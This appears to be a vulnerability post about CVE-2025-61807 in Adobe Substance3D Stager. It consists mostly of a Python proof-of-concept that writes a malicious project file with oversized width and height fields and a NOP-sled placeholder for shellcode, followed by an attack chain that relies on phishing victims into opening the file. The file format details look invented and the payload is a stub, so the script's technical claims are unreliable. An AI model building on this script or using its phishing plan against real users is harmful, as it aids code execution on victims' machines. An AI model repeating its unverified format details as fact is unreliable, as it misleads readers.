CVE-2025-61807：Adobe Substance3D Stager整数溢出导致任意代码执行漏洞

# CVE-2025-61807 PoC - Conceptual Proof of Concept # Integer Overflow in Adobe Substance3D Stager # WARNING: This is a conceptual PoC for educational purposes only. import struct import os def create_malicious_file(output_path): """ Create a malicious Substance3D Stager file that triggers integer overflow vulnerability (CVE-2025-61807). The vulnerability is triggered when parsing specific numeric fields in the project/scene file. By providing values that cause integer overflow during internal calculations, we can trigger memory corruption leading to arbitrary code execution. """ # File header (simplified representation of a Stager project file) header = b'SBSSTAGER\x00' # Magic bytes header += struct.pack('<I', 0x00010001) # Version 1.1 # Crafted numeric field that triggers integer overflow # When the parser multiplies this value internally, # it overflows the 32-bit integer range overflow_value = 0x7FFFFFFF # Maximum signed 32-bit integer # Payload structure designed to cause overflow during processing payload = b'' payload += struct.pack('<I', overflow_value) # Width causing overflow payload += struct.pack('<I', overflow_value) # Height causing overflow payload += struct.pack('<I', 0x00000002) # Channel multiplier # The multiplication overflow_value * overflow_value * 2 # will wrap around, causing a small buffer allocation # while large data follows # Malicious shellcode or payload (placeholder) # In a real exploit, this would contain shellcode # that executes when the buffer overflow occurs malicious_data = b'\x90' * 4096 # NOP sled (placeholder) with open(output_path, 'wb') as f: f.write(header) f.write(payload) f.write(malicious_data) print(f"[+] Malicious file created: {output_path}") print(f"[!] When opened in Substance3D Stager <= 3.1.4,") print(f" this file triggers CVE-2025-61807") if __name__ == '__main__': create_malicious_file('exploit.sbsar') # Attack chain: # 1. Attacker crafts malicious Stager file with overflow values # 2. Attacker distributes file via phishing/social engineering # 3. Victim opens file in Substance3D Stager # 4. Integer overflow occurs during file parsing # 5. Buffer overflow leads to arbitrary code execution # 6. Attacker code runs with victim's privileges